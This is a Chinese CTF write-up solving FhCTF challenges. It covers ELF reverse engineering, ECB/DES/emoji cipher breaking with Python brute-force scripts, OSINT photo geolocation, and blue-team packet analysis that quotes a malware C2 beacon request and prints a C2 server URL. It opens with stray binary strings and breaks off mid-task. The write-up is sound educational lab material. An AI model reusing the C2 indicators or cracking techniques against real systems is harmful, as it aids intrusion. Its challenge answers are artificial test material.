_ITM_deregisterTMCloneTable _ZSt3cin@GLIBCXX_3.4 __gmon_start__ _ITM_registerTMCloneTable _ZSt4cerr@GLIBCXX_3.4 __isoc23_strtol@GLIBC_2.38 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment        #  8 8 0  6  h h $  I  ? ?  W ?o ? ? 8   a  ? ?     i   ? ? /  q o ( ( ,    ~ ?o X X ?   ?   ? ?     ?  B   ?     ?       ?     ?   ?   ? ?    ?   ? ? ?   ?   € € ?  ?      ?   c  ?   d d \  ?   ? ? L  ?   X= X-    ?   `= `-    ?   h= h-    ?   h? h/ ?      @ 0      @@ 0 X @   0 0 +     @0 p ``` 提供ELF二進位檔decrypt與加密檔案encrypted_flag,需逆向分析解密邏輯並實作Python腳本取得flag 。透過strings與函數符號識別關鍵演算法,包括generateSeed、getNextKey、rotateRight等 - 靜態分析 執行strings decrypt顯示程式讀取input/output檔案,使用fopen、fgets、fputc,並依賴libstdc++與libc符號如__stack_chk_fail、__libc_start_main。符號表揭示核心函數: - generateSeed:從password生成初始seed,使用seed = seed * 31 + ch的hash方式,模0xFFFFFFFF。 - getNextKey:LCG偽隨機產生器,公式(seed * 0x41C64E6D + 0x3039) & 0x7FFFFFFF,key = seed % 255。 - rotateRight:右旋位移,rotate_right(byte, 3)。 - main:讀取hex字串,對每byte執行旋轉→更新seed→XOR key→seed += 原byte。 ELF片段顯示hex資料"2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F79686098C6A5F0593D395543ABFF118410B2F02CF61FA5"與password提示"I_just_afraid_someday_i_will_forget_the_password"。 - 邏輯還原 解密流程為每byte獨立處理: 1. hex解析為byte b。 2. b_rot = rotate_right(b, 3),即(b >> 3) | (b << 5) & 0xFF。 3. seed = getNextKey(seed)。 4. key = seed % 255。 5. plaintext_byte = b_rot ^ key。 6. seed = (seed + b) & 0xFFFFFFFF(注意加原始b,非旋轉後)。 此與常見流密碼不同,seed更新依賴原始密文,形成依賴鏈 - 解密腳本 ```python hexline = ("2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F7" "9686098C6A5F0593D395543ABFF118410B2F02CF61FA5") password = "I_just_afraid_someday_i_will_forget_the_password" def generate_seed(s: str) -> int: seed = 0 for ch in s.encode(): seed = (seed * 31 + ch) & 0xFFFFFFFF return seed def get_next_key(seed: int) -> int: return (seed * 0x41C64E6D + 0x3039) & 0x7FFFFFFF def rotate_right(byte: int, n: int) -> int: return ((byte >> n) | ((byte << (8 - n)) & 0xFF)) & 0xFF seed = generate_seed(password) out = bytearray() for i in range(0, len(hexline), 2): b = int(hexline[i:i+2], 16) b_rot = rotate_right(b, 3) seed = get_next_key(seed) key = seed % 255 out.append(b_rot ^ key) seed = (seed + b) & 0xFFFFFFFF print(out.decode()) ``` :::success FhCTF{Why_not_use_std::string_instead_of_char_arrays?} ::: ## Crypto ### 安全的加密 這題展示了為什麼 ECB 加密模式不適合用於圖像資料。 - 加密機制分析 ![image](https://hackmd.io/_uploads/rkzySwyHWl.png) 題目使用腳本將 flag 轉換為 BMP 圖檔後,再透過 AES-256-ECB 加密。特別的是,加密金鑰直接從 flag 的十六進位表示取得。由於 OpenSSL 的 `enc` 指令在金鑰長度不足時會自動填充零位元組至 32 bytes,實際加密過程中的金鑰是可預測的。 - 攻擊向量 ECB 最致命的弱點在於相同明文區塊總是產生相同密文區塊。當加密對象是結構化資料(如圖像)時,這個特性會直接暴露資料的空間分布模式。 - 解密步驟 由於圖檔格式為 1000×100 像素的 32-bit BMP,每個像素佔 4 bytes,總共 400,000 bytes。AES 以 16-byte 為單位分塊加密,對應到圖像中就是每 4 個像素為一組。 透過以下步驟重建圖像: - 讀取加密檔案並按 16-byte 切分成區塊 - 跳過 BMP 標頭佔用的前 138 bytes(約 9 個區塊) - 將每個加密區塊視為一個顏色單元 - 重新排列成 250×100 的區塊陣列(1000÷4=250) - 為不同的密文區塊指派不同顏色進行視覺化 由於文字區域和背景區域的像素值不同,加密後會產生截然不同的密文區塊。透過顏色映射,文字的輪廓會清晰呈現,直接讀取即可得到 flag。 ```python import os from PIL import Image from collections import Counter # 設定 ENC_FILE = "flag.enc" OUTPUT_DIR = "results" MIN_WIDTH = 200 # 根據經驗或測試調整範圍 MAX_WIDTH = 300 def solve(): # 1. 讀取加密檔案 with open(ENC_FILE, 'rb') as f: content = f.read() # 2. 切分區塊 (AES Block Size = 16 bytes) block_size = 16 blocks = [content[i:i+block_size] for i in range(0, len(content), block_size)] # 3. 找出背景 (頻率最高的區塊) counts = Counter(blocks) most_common_block = counts.most_common(1)[0][0] # 4. 轉換為 0/1 Map (1=背景, 0=文字) pixel_map = [1 if b == most_common_block else 0 for b in blocks] if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR) # 5. 暴力枚舉寬度並繪圖 print(f"[*] Generating images from width {MIN_WIDTH} to {MAX_WIDTH}...") for width in range(MIN_WIDTH, MAX_WIDTH + 1): height = len(pixel_map) // width + 1 img = Image.new('1', (width, height), 1) pixels = img.load() idx = 0 try: for y in range(height): for x in range(width): if idx < len(pixel_map): # 如果不是背景(0),就畫黑點 if pixel_map[idx] == 0: pixels[x, y] = 0 idx += 1 except: pass img.save(f"{OUTPUT_DIR}/width_{width}.png") if __name__ == "__main__": solve() ``` ![image](https://hackmd.io/_uploads/Hy-bfOJBWg.png) 我們可以看到是反過來的`FhCTF{3C13_m0d3_1s_z0_S3cur17y_}` ![image](https://hackmd.io/_uploads/BJC6WdyB-g.png) :::success FhCTF{3C13_m0d3_1s_z0_S3cur17y_} ::: ### Encode By Py 😘 ![image](https://hackmd.io/_uploads/HJUDFD1HWl.png) 這題的核心是「自製 Emoji 加密」其實只是一個可逆的位移編碼,加上可預測的 key 循環與大量重複樣本,整體安全性非常脆弱。 - 整體流程概覽 - 程式啟動時會載入一組金鑰字串 `ENC_SECRET`,預設值是 `Hi_S3cL157_xato-net`,然後讀取 `flag.txt` 的內容作為明文。 - 主邏輯在 `encrypt_bytes`,逐 byte 處理輸入,將每個 byte 轉成對應的 Emoji,最後寫出到 `flag.enc`。 - 編碼時使用固定 base(`BASE = 0x1F600`)和範圍(`RANGE = 0x4E`),所以結果都落在一小段 Emoji codepoint 區間。 - 單一 byte 的 Emoji 編碼 - 對每個明文字節 `byte`,先計算當前索引 `i` 對應到 key 的位置 `idx`,用 `ENC_SECRET[idx]` 做位移,再搭配 XOR 產生一個偏移量 `enc_shift`。 - 真正輸出的值是 \[ enc\_byte = ((byte + (enc\_shift \oplus RANGE)) \bmod RANGE) + BASE \] 如果落在特定保留區間則再減去 `ALTERNATIVE` 做修正,確保最後是合法 UTF-8 Emoji。 - 某些特殊 byte(例如換行)不會轉成 Emoji,而是「原樣輸出」,並且用來驅動長度相關的計數變數,影響後面 `idx` 的計算。 - 索引循環與行為分析 - key 的使用位置不是單純 `i % len(ENC_SECRET)`,而是 `i % ((len_num * len_times) if len_num > 0 else 1)`,其中 `len_num`、`len_times` 只在碰到特定 byte(實際上就是那個「if byte == 某值就原樣輸出」的條件)時才會更新。 - 這代表整個加密過程是「被分段的」:每次遇到那個特殊控制字元(例如換行)就會重設或改變循環長度,導致每一行的 key index pattern 不同。 - 檔案裡第一大段重複的 `✅😢🙈😴` 等 emoji,其實就是利用同一個明文字節反覆出現,讓對應的 key 位置重複,成為攻擊者觀察 key 的絕佳樣本。 - 解密邏輯的逆向設計 - 要還原明文,第一步是把每個 Emoji 轉回 Unicode codepoint,如果是「被挪到替代區段」的,就加回 `ALTERNATIVE`,再減掉 `BASE`,得到原本的「模 RANGE 之前的加密值」。 - 接著,用同樣的 key byte 和位移規則,把(enc_byte−BASE)modRANGE 反推回bytemodRANGE 因為運算中有 `% RANGE`,所以理論上只能恢復「0..77 的明文模值」,但對這題來說,flag 被映射到一個有限字元集合(ASCII art)中,這樣的資訊已經足夠辨識。 - 實作上就是: - 還原出每個位置對應的 `enc_shift`。 - 用加密公式反向求解原始 byte 在 `0..77` 的值。 - 把這些值映射到一組可視字元表(例如固定順序的 ASCII 字元)上,得到可讀內容。 - 利用重複行恢復金鑰 - 題目給的第一行是一長串完全規律重複的 emoji pattern,本質上對應同一個明文字元(例如空白或某個固定符號),相當於「已知明文大量重複」。 - 對每個重複位置,已知: - 相同明文字節 `byte`。 - 對應 emoji 的 codepoint(即 `enc_byte`)。 - `BASE` 與 `RANGE` 為常數。 - 於是可以直接把方程式中的 `ENC_SECRET[idx]` 反推回來,逐個位置解出 key 的每個 byte,最後得到長度為 12 的 key: `[49, 57, 49, 35, 19, 44, 42, 37, 41, 23, 22, 21]` 並且確認這組鍵值會在整段密文中週期性重複。 - 有了完整 key,即可對每個 emoji 進行上述的逆運算,把整個 `flag.enc` 轉回「mod 78 明文」序列。 - 還原 ASCII art 與 flag - 解碼後得到的並不是直接的一行 flag,而是一個由可視字元構成的大型 ASCII art,風格與 FIGlet 輸出的字型一致。 - 把還原出的字元陣列依照原始換行配置輸出,就能看到一個大字樣,裡面嵌著形如 `flag{...}` 的內容。 - 將這段 ASCII art 轉成圖片或直接在等寬字型終端機中觀看,肉眼就可以辨認出真正的 flag。整個過程只利用: - 演算法可逆性。 - 高度重複的已知明文行。 - 有限字元集合導致的模空間縮小。這也說明了「Emoji + 位元運算」並不會自動帶來任何額外安全性,只是另一種換皮的古典密碼而已。 ``` python from pathlib import Path from PIL import Image, ImageDraw, ImageFont # 常數定義 BASE = 0x1F600 RANGE = 0x4E ALTERNATIVE = 0x1CEFE KEY = [49, 57, 49, 35, 19, 44, 42, 37, 41, 23, 22, 21] # 建立數值到字元的映射表 VAL_TO_CHAR = { 14: "\\", 18: "`", 32: " ", 33: "!", 39: "'", 40: "(", 41: ")", 44: ",", 45: "-", 46: ".", 47: "/", 58: ":", 60: "<", } def parse_encrypted_file(file_path): """讀取並解析加密的 emoji 文件""" raw_data = Path(file_path).read_bytes() text = raw_data.decode("utf-8") tokens = [] for char in text: if char == "\n": tokens.append(("newline", 10)) else: codepoint = ord(char) if codepoint < BASE: codepoint += ALTERNATIVE tokens.append(("char", codepoint - BASE)) return tokens def build_index_sequence(tokens): """建立索引序列用於解密""" line_length = 0 line_count = 0 index_list = [] for i, (token_type, _) in enumerate(tokens): idx = i % (line_length * line_count) if line_length > 0 else 0 index_list.append(idx) if token_type == "newline": if line_length == 0: line_length = i + 1 line_count += 1 return index_list def decrypt_tokens(tokens, index_list): """解密 token 序列""" length = len(tokens) plaintext_mod = [] for i, (token_type, value) in enumerate(tokens): if token_type == "newline": plaintext_mod.append(10) continue key_value = KEY[index_list[i] % len(KEY)] shift = (length - i) % 4 decrypted_value = (value - (key_value << shift)) % RANGE plaintext_mod.append(decrypted_value) return plaintext_mod def convert_to_ascii_art(plaintext_mod): """將解密後的數值轉換為 ASCII 藝術字元""" ascii_chars = [] for value in plaintext_mod: if value == 10: ascii_chars.append("\n") else: ascii_chars.append(VAL_TO_CHAR.get(value, "?")) return "".join(ascii_chars) def render_ascii_art_to_image(ascii_text, output_path, font_size=16): """將 ASCII 藝術渲染成圖片""" lines = ascii_text.splitlines() # 嘗試載入字體 try: font = ImageFont.truetype("consola.ttf", font_size) except Exception: try: font = ImageFont.truetype("Courier New.ttf", font_size) except Exception: font = ImageFont.load_default() # 計算圖片尺寸 max_line_length = max(len(line) for line in lines) if lines else 0 char_width = font.getbbox("A")[2] line_height = font.getbbox("A")[3] + 2 image_width = max_line_length * char_width + 10 image_height = line_height * len(lines) + 10 # 建立圖片並繪製文字 img = Image.new("RGB", (image_width, image_height), "white") draw = ImageDraw.Draw(img) y_position = 5 for line in lines: draw.text((5, y_position), line, fill="black", font=font) y_position += line_height # 儲存圖片 img.save(output_path) return output_path def main(): """主程式流程""" input_file = Path(r"C:\Users\zenge\Downloads\files (6)\flag.enc") output_file = Path(r"C:\Users\zenge\Downloads\files (6)\ascii_art.png") # 步驟 1: 解析加密檔案 print("正在解析加密檔案...") tokens = parse_encrypted_file(input_file) # 步驟 2: 建立索引序列 print("正在建立索引序列...") index_list = build_index_sequence(tokens) # 步驟 3: 解密 print("正在解密...") plaintext_mod = decrypt_tokens(tokens, index_list) # 步驟 4: 轉換為 ASCII 藝術 print("正在轉換為 ASCII 藝術...") ascii_art = convert_to_ascii_art(plaintext_mod) # 步驟 5: 渲染成圖片 print("正在渲染圖片...") result_path = render_ascii_art_to_image(ascii_art, output_file) print(f"完成!圖片已儲存至: {result_path}") print("\nASCII 藝術預覽:") print(ascii_art[:500] + "..." if len(ascii_art) > 500 else ascii_art) if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/B1j2kX-Sbl.png) ![upload_437e1fd2557bda22c676a81c046844ce](https://hackmd.io/_uploads/SkV9pfWrbx.png) :::success FhCTF{S1mpl3_FL46_We4k_P4ss} ::: ### DES Lv.1 - 老船長的寶藏 - Part 1: JPEG 高度修復 (Image Forensics) - 題目分析 **目標檔案**: `treasuremap.jpg` **現象**: 圖片底部被截斷,無法看到完整內容 **原因**: JPEG 檔案的高度數值在 Hex Header 中被惡意修改,導致瀏覽器只渲染上半部分,底部的關鍵資訊被隱藏[1] - 核心原理 JPEG 檔案格式使用 SOF (Start of Frame) 區塊儲存圖片尺寸資訊 : **SOF 標記**: `FF C0` (Baseline DCT) 或 `FF C2` (Progressive DCT) **結構**: `[FF C0] [長度(2bytes)] [精度(1byte)] [高度(2bytes)] [寬度(2bytes)]` **位元組序**: Big-Endian (大端序) 當高度被人為改小時,圖片檢視器會忽略超出高度的像素資料,但這些資料仍完整保留在檔案中。只要將高度值恢復或調大,隱藏的內容就會顯示出來 - 腳本 A. 讀取與搜尋 SOF 標記 ```python import re import struct with open("treasuremap.jpg", "rb") as f: data = bytearray(f.read()) # 搜尋所有 SOF 標記 (FF C0 或 FF C2) matches = [m.start() for m in re.finditer(b'\xff[\xc0\xc2]', data)] ``` 此步驟找出所有定義圖片尺寸的 Header 位置。由於 JPEG 可能包含縮圖 (Thumbnail),因此可能存在多個 SOF 區塊 ` B. 鎖定主圖片 ```python max_width = 0 target_idx = -1 for sof_pos in matches: # 跳過標記本身 (2 bytes) 和長度欄位 (2 bytes) 和精度 (1 byte) h_idx = sof_pos + 5 # 高度位置 w_idx = sof_pos + 7 # 寬度位置 h = struct.unpack(">H", data[h_idx:h_idx+2])[0] w = struct.unpack(">H", data[w_idx:w_idx+2])[0] if w > max_width: # 找出寬度最大的區塊 max_width = w target_idx = h_idx ``` `>H` 表示 Big-Endian Unsigned Short,符合 JPEG 規範 。主圖片通常具有最大的寬度尺寸 C. 修改高度並儲存 ```python new_height = 2000 # 設定為足夠大的高度 data[target_idx:target_idx+2] = struct.pack(">H", new_height) with open("treasuremap_fixed.jpg", "wb") as f: f.write(data) ``` 成功修復後,開啟圖片即可看到底部隱藏的資訊,包括: - `plaintext.enc` 檔案提示 - 部分 Key 提示:`r5K9` ![{6ED9B10C-BFBE-4518-B8C4-EF7B5ABA8D9F}](https://hackmd.io/_uploads/HkfK5nh4Wg.png) - Part 2: DES 密鑰爆破 (Cryptography) - 題目背景 **加密演算法**: DES (Data Encryption Standard) **輸入檔案**: `plaintext.enc` (hex 編碼的密文) **已知資訊**: - 題目提示:"**The Data** 可以幫你加速解密" - 地圖右下角紅字:`key 部分:r5K9` - 加密模式判斷 檢查 `plaintext.enc` 特徵: 1. Hex 字串長度為偶數 → 可轉換為 bytes 2. 轉換後長度是 8 的倍數 → 符合 DES block size 由於題目未提供 IV (Initialization Vector),且這是入門級 CTF 題目,推測使用 **DES-ECB 模式** 。[3] **ECB 特性**: - 不需要 IV - 每個 block 獨立加密/解密 - 相同明文 block 產生相同密文 block[3] - 密鑰結構分析 DES 密鑰固定為 **8 bytes**。 已知前 4 bytes:`r5K9` 未知後 4 bytes:需要爆破 **字元集**: 英文大小寫 + 數字 = 62 個字元 **組合數**: 62^4 = 14,776,336 種可能 - 加速策略 題目提示 "The Data can help you decrypt faster" 意味著: - 不需要解密整個檔案 - 只解密**第一個 block (8 bytes)** 即可驗證密鑰正確性 - 利用已知明文攻擊 (Known-Plaintext Attack) 的概念 - 解題腳本 爆破版本 ```python import binascii import itertools import string from Crypto.Cipher import DES # 讀取 hex 密文 with open("plaintext.enc", "rb") as f: ct_hex = f.read().strip() ct = binascii.unhexlify(ct_hex) prefix = b"r5K9" charset = (string.ascii_letters + string.digits).encode() ct0 = ct[:8] # 只取第一個 block def is_printable(bs: bytes) -> bool: return all(32 <= b < 127 or b in (10, 13, 9) for b in bs) found = None for suf in itertools.product(charset, repeat=4): key = prefix + bytes(suf) cipher = DES.new(key, DES.MODE_ECB) pt0 = cipher.decrypt(ct0) if is_printable(pt0) and pt0.startswith(b"Here is"): found = key print(f"[+] Key found: {key.decode(errors='ignore')}") break if not found: print("[-] Key not found") exit() # 使用找到的密鑰解密完整檔案 cipher = DES.new(found, DES.MODE_ECB) pt = cipher.decrypt(ct) # 移除 PKCS7 padding pad = pt[-1] if 1 <= pad <= 8 and pt.endswith(bytes([pad]) * pad): pt = pt[:-pad] with open("plaintext.dec.txt", "wb") as f: f.write(pt) ``` **執行結果**: ``` [+] Key found: r5K9zXxv ``` 直接解密版本 若已知完整密鑰,可直接解密: ```python from Crypto.Cipher import DES import binascii with open("plaintext.enc", "rb") as f: data = binascii.unhexlify(f.read().strip()) key = b"r5K9zXxv" cipher = DES.new(key, DES.MODE_ECB) plain = cipher.decrypt(data) # 移除 padding pad = plain[-1] if 1 <= pad <= 8 and plain.endswith(bytes([pad]) * pad): plain = plain[:-pad] with open("plaintext.dec.txt", "wb") as f: f.write(plain) ``` - 結果 成功解密後的 `plaintext.dec.txt` 內容: ``` Here is your reward for finding the right key: FhCTF{D0n7_c0un7_7h3_d4y5_m4k3_7h3_d4y5_c0un7} ``` :::success FhCTF{D0n7_c0un7_7h3_d4y5_m4k3_7h3_d4y5_c0un7} ::: ### DES Lv.2 – 再探老船長的寶藏 - 題目描述與線索整理 題目提示: * 有一份加密資料(`plaintext.enc`) * 上一題 key 曾出現 `r5K9zXxv` * 圖上還有 `r5K9`、`A.D.1688` * 並明確提示 **“The Data.” 可以幫你加速解密** 目標:解出密文內容,找到 GPS 座標或 Flag。 - 初步分析:密文格式與 DES 特徵 拿到 `plaintext.enc` 後先做格式判斷: * 檔案內容看起來像一長串 **hex 字元**(`0-9a-f`) * 因此需先 `bytes.fromhex(...)` 才能得到真正密文 bytes * DES block size = 8 bytes,因此密文長度應該是 8 的倍數(用於驗證資料合理性) 程式中對應處理: ```python with open("plaintext.enc", "rb") as f: ct = bytes.fromhex(f.read().decode("ascii").strip()) ``` - 攻擊策略:猜 mode/IV + 爆破 key 結構 DES 題常見陷阱不是只在 key,而是: * mode 可能是 ECB / CBC / CFB / OFB… * CBC 需要 IV,IV 可能是: * 固定值(全 0) * 由提示字串(例如 `"The Data"`)提供 * 直接放在密文前 8 bytes(`IV || CIPHERTEXT`) * key 有可能不是你以為的 `r5K9????`,也可能是 `????r5K9` 因此本解法採用: - (A) 同時測多種加密情境(schemes) 在 `try_dump()` 裡一次測四種最常見組合: 1. CBC + IV = `"The Data"` 2. CBC + IV = `00...00` 3. CBC + IV = `ct[:8]`(常見 `IV||C` 格式) 4. ECB(不需要 IV) ```python schemes = [ ("CBC_IV_TheData", DES.MODE_CBC, b"The Data", ct), ("CBC_IV_zeros", DES.MODE_CBC, b"\x00"*8, ct), ("CBC_IV_prefix", DES.MODE_CBC, ct[:8], ct[8:]), ("ECB", DES.MODE_ECB, None, ct), ] ``` - (B) 同時測多種 key 結構(key structures) 由於圖上有 `r5K9`,上一題完整 key 有 `zXxv`(`r5K9zXxv`),因此假設 key 可能由固定 4 碼 + 可爆 4 碼組成。 測試兩個 base(可自行擴充): * `base = b"r5K9"` * `base = b"zXxv"` 並對每個 base 測兩種拼法: * `base + suf` → `r5K9????` * `suf + base` → `????r5K9` ```python bases = [b"r5K9", b"zXxv"] keys = [ base + suf, suf + base, ] ``` - 爆破範圍(charset / keyspace) suffix 使用常見可見字元集合: * `a-zA-Z0-9` 加上一些常見符號 `_ - ! @ # .` * 目的:涵蓋 CTF 常用 key 風格,同時避免一次把 printable 全塞爆造成時間失控 ```python charset = (string.ascii_letters + string.digits + "_-!@#.").encode() ``` 爆破 keyspace 約為: * charset 長度 ≈ 67 * suffix 4 碼 → `67^4 ≈ 20,151,121` - 快速判斷是否解對(避免每把 key 解全文) 爆破最慢的地方不是「試 key」,而是「每把 key 都解完整密文」。 因此此解法採用**快速過濾**: - (A) 只解前 64 bytes 當 head 做判斷 ```python head = DES.new(key8, mode, iv=iv).decrypt(body[:64]) ``` - (B) 判斷 head 是否像答案 用兩種條件: 1. **GPS regex 命中** 2. **可見字元比例高** - GPS regex 抓常見小數座標格式: * `25.0330,121.5654` * `-33.86 151.21` ```python gps_pat = re.compile(rb'[-+]?\d{1,3}\.\d{3,}\s*[, ]\s*[-+]?\d{1,3}\.\d{3,}') ``` - 可見字元比例 ```python def printable_ratio(b: bytes) -> float: good = sum(1 for x in b if x in b"\n\r\t" or 32 <= x <= 126) return good / len(b) ``` 當 `gps_pat.search(head)` 命中或 `printable_ratio(head) > 0.92`,才會解全文。 - 找 Flag 的方式 若題目直接把 Flag 放在明文中,程式也會用 regex 搜尋: ```python flag_pat = re.compile(rb'FhCTF\{[^}]{1,100}\}', re.I) ``` - 7. 執行方式(Windows / PowerShell) - 安裝套件 ```powershell python -m pip install pycryptodome ``` - 執行 ```powershell python slove.py ``` - 8. 等待等待成功輸出判讀(大概很久 當找到候選 key,程式會印出: * 命中的 key 與 scheme * head 前 200 bytes * 若有,印出 GPS / Flag * 以及 plaintext 前 500 bytes 輸出如下: ``` *] brute forcing key structures... [+] HIT! key=b'r5K9bB2x' scheme=CBC_IV_TheData [+] head: b'b4NKr3W8 Encryption Standard (DES) is a symmetric-key block ciph' [+] FLAG: b'FhCTF{23.257735309160896_119.66758643893687}' b'b4NKr3W8 Encryption Standard (DES) is a symmetric-key block cipher that operates on fixed-size blocks of data. DES processes data in 64-bit (8-byte) blocks and uses a 64-bit key, of which 56 bits are effective key material and the remaining 8 bits are used for parity checking. Because DES encrypts only one block at a time, it must be combined with a mode of operation to securely encrypt data longer than a single block.\r\n\r\nOne widely used mode is Cipher Block Chaining (CBC). In DES-CBC mode, each' ``` :::success FhCTF{23.257735309160896_119.66758643893687} ::: ### 管理員的密碼洋蔥 3個level 1. level 1 給 `md5 hash`,上網工具查解得到 `qwerty` 2. level 2 解 `SHA-1`,但經過通靈(AI大法),我們可以猜到 `admin` 這個答案 3. level 3 把 `base64` 轉成文字就行,得到 `FhCTF{CrYpt0_W3b_M4st3r_2025}` 最後就可以拿到flag :::success FhCTF{CrYpt0_W3b_M4st3r_2025} ::: ## OSINT ### Art Work 給了一張圖片: ![image](https://hackmd.io/_uploads/B1PkxvH4Wg.png) 以圖搜圖我們會發現一個叫做「風之籽」的作品被展出於111.11.04-112.02.05的「2022屏東落山風藝術季」 :::success FhCTF{屏東縣_落山風藝術季_1111104-1120205} ::: ### Trace the Landmark 給了三張圖片 ![photo-1](https://hackmd.io/_uploads/H1QLbvHEWx.jpg) ![photo-2](https://hackmd.io/_uploads/BJmUbDrEbg.jpg) ![photo-3](https://hackmd.io/_uploads/B1mUWPHV-g.jpg) 用第三張來圖片搜尋找到了**Piazza della Rotonda**這個建築 ![image](https://hackmd.io/_uploads/r1s9-wSEbe.png) 按照題目Hint排好後得到: :::success FhCTF{Piazza_della_Rotonda_00186_Roma_RM_Italy} ::: ### 島1 給了這張圖 ![land-1](https://hackmd.io/_uploads/H1TwzwrEWe.png) 即使被打碼,還是可以大致看出是「新_廟口餐廳」 google搜尋後: ![image](https://hackmd.io/_uploads/rJICfvrNZx.png) 找到餐廳後我就對著菜單和圖中的菜一一窮舉 ![37077136260_d855810352_c](https://hackmd.io/_uploads/By71mvrEbl.jpg) 最後答案是原圖正中間的那道**炒千佛手** :::success FhCTF{新大廟口活海鮮_炒千佛手} ::: ### The FH Gift 一開始會出現 `malware_sample.eml` 點開來會發現: ![image](https://hackmd.io/_uploads/Hys5iXIE-x.png) 這個 salary_adjustment.docx 文件實際上不是 Word 文件,而是一個偽裝的 ZIP 壓縮檔 。通過檢查文件的魔術數字(前幾個 bytes),可以看到它以 PK\x03\x04 開頭,這是 ZIP 檔案的特徵標記。 ![image](https://hackmd.io/_uploads/HJE8hmI4Zx.png) :::success FhCTF{M1M3_Typ3s_C4n_B3_D3c3pt1v3} ::: ### 工商時間 1 他給了以下圖片: ![exhibition](https://hackmd.io/_uploads/SyVlqE8NWe.png) 把他丟到 https://www.metadata2go.com/ ,可以得到以下資料: ![image](https://hackmd.io/_uploads/rJWOqEIEZg.png) 然後他的description是一個網站 點進去他會跳出來一個帶你到展覽網站的 按ok就會跳過去 ![2026-01-03_14.35.58](https://hackmd.io/_uploads/SJwioE8NZe.png) 可以看到https://github.com/tschool-students/tschool-students.github.io 我們可以知道是「臺北市數位實驗高級中等學校學習分享會」 ![image](https://hackmd.io/_uploads/Sy1M0NLVWg.png) 2026.1.18 9:00 - 16:00~1.19 9:00 - 16:00 轉成 ISO 8601 格式是 `2026-01-18T09:00_2026-01-19T16:00` :::success FhCTF{T-SCHOOL_STUDENTS_EXPO'26_2026-01-18T09:00_2026-01-19T16:00} ::: ### 工商時間 2 由 `工商時間 1`,我們可以從活動官網得知活動地點在 `臺北市中山區吉林路110號` 我們把地址丟到Google Maps收尋,並複製座標貼上來: ![截圖 2026-01-05 00.25.06](https://hackmd.io/_uploads/B15jEGOE-e.png) ### Lithium exploration ![SalardeUyuni](https://hackmd.io/_uploads/ryBwMS8N-x.jpg) 丟給AI 國家: 玻利維亞 (Bolivia) 湖泊名稱(鹽沼): 烏尤尼鹽沼 (Salar de Uyuni) 生產礦物: 鋰 (Lithium) 原本是錯的 但後來改題目後就對了,很奇妙 :::success FhCTF{Bolivia_SalardeUyuni_Lithium} ::: ### SRL 給了以下圖片 ![SRL](https://hackmd.io/_uploads/HyjFIrLNbx.jpg) 我們可以看到右方是大巨蛋後景有國父紀念館和台北101 所以我們可以推斷我們在: ![image](https://hackmd.io/_uploads/SyOQIrLVbx.png) ### 島2 ``` 在清末民初年代,人們對麻瘋病(痲瘋病)所知有限,為了阻絕得病的患者,就把他們送到建功嶼上自生自滅,因此這座島被稱為「痲瘋礁」。患者被隔離在島上後,只能遙望金門本島,無法回家。 ``` by google AI 搜尋 ![image](https://hackmd.io/_uploads/BJVgdBL4We.png) ![image](https://hackmd.io/_uploads/ryYTPBU4-g.png) ### 漂亮的圓頂 1 :::danger 請通靈 ::: ![image](https://hackmd.io/_uploads/rJcNmEaVZx.png) ### 漂亮的圓頂 2 簡單搜尋 `免費船班 土耳其`,可以讓我們找到土耳其航空的這個頁面: https://www.turkishairlines.com/zh-tw/flights/fly-different/touristanbul/ ![截圖 2026-01-05 00.40.35](https://hackmd.io/_uploads/r1XXdGO4Wx.png) 看Google Maps,可以發現我們的目的地,就正處於博斯普鲁斯海峽附近,我們可以驗證這是對的方向。 我們有了這些資訊 `T06 18:30-23:00 博斯普魯斯海峽之旅(4 月 1 日至 10 月 31 日期間營運)` 通靈一下格式變成 flag :::success FhCTF{1830-2300_0401-1031} ::: ### 沒戴安全帽的騎士 ![rider_without_helmet](https://hackmd.io/_uploads/rka2szZrZe.png) 上網簡單圖片查資料,可知廠牌、車型,每個試一下,就能鎖定下答案。 ![image](https://hackmd.io/_uploads/HkfkhMZHbg.png) :::success FhCTF{2014_Kymco_Many50} ::: ### EXIF的「拍攝座標」 這題給的檔案出了點小問題,但就是 exif 完組合一下照片的經緯度通靈一下就好了。 ## Blue team ### 大訂單 1. 一組加密的十六進制字串: `775a20657e725a206725250925317172587b3774750d2132747f5a2631752251` 2. 網路封包的 hex dump,顯示 HTTP POST 請求 檢查提供的封包內容,可以觀察到以下關鍵資訊: ``` POST /api/v1/config HTTP/1.1 Host: 45.33.22.11 User-Agent: C2-Client/1.0 X-Auth-Token: FhCTF Content-Type: application/x-binary Target_ID: 775a20657e725a206725250925317172587b3774750d2132747f5a2631752251 ``` 從封包中的 `X-Auth-Token: FhCTF` 欄位,可以推測 `FhCTF` 很可能就是用於加密 Target_ID 的金鑰。 - 使用 Python 對十六進制字串進行 XOR 解密: ```python import binascii hex_string = "775a20657e725a206725250925317172587b3774750d2132747f5a2631752251" key = "FhCTF" hex_bytes = bytes.fromhex(hex_string) result = bytearray() key_bytes = key.encode('ascii') for i, byte in enumerate(hex_bytes): result.append(byte ^ key_bytes[i % len(key_bytes)]) print(result.decode('ascii')) ``` 將解密得到的 MD5 hash `12c1842c3ccafe7408c23ebf292ee3d9` 提交到 VirusTotal 進行查詢。 ![image](https://hackmd.io/_uploads/Hykn3m6EZe.png) 在 VirusTotal 的分析報告中,可以找到該惡意軟體的 C2 通訊目標: - **C2 伺服器**: `http://171.22.28.221/5c06c05b7b34e8e6.php` :::success FhCTF{http://171.22.28.221/5c06c05b7b34e8e6.php} ::: ### 🧩 User’s Bad Day 給出的線索是一段封包紀錄,要求從中找出三個關鍵資訊:主機名稱、帳號名稱與檔案名稱,最後依指定格式組成 Flag。 - DNS 查詢中的主機名稱 在封包最前面可以看到一個 DNS 封包,內容類似: ```txt DNS Standard query A fulesrv.local ``` 這代表使用者原本想連線的主機是 `fulesrv.local`。 題目提示「主機名稱不含 domain」,因此只取前半段: - 主機名稱(不含 domain):`fulesrv` ✅ 主機名稱 = `fulesrv` - DNS 失敗與 LLMNR 啟用 當 DNS 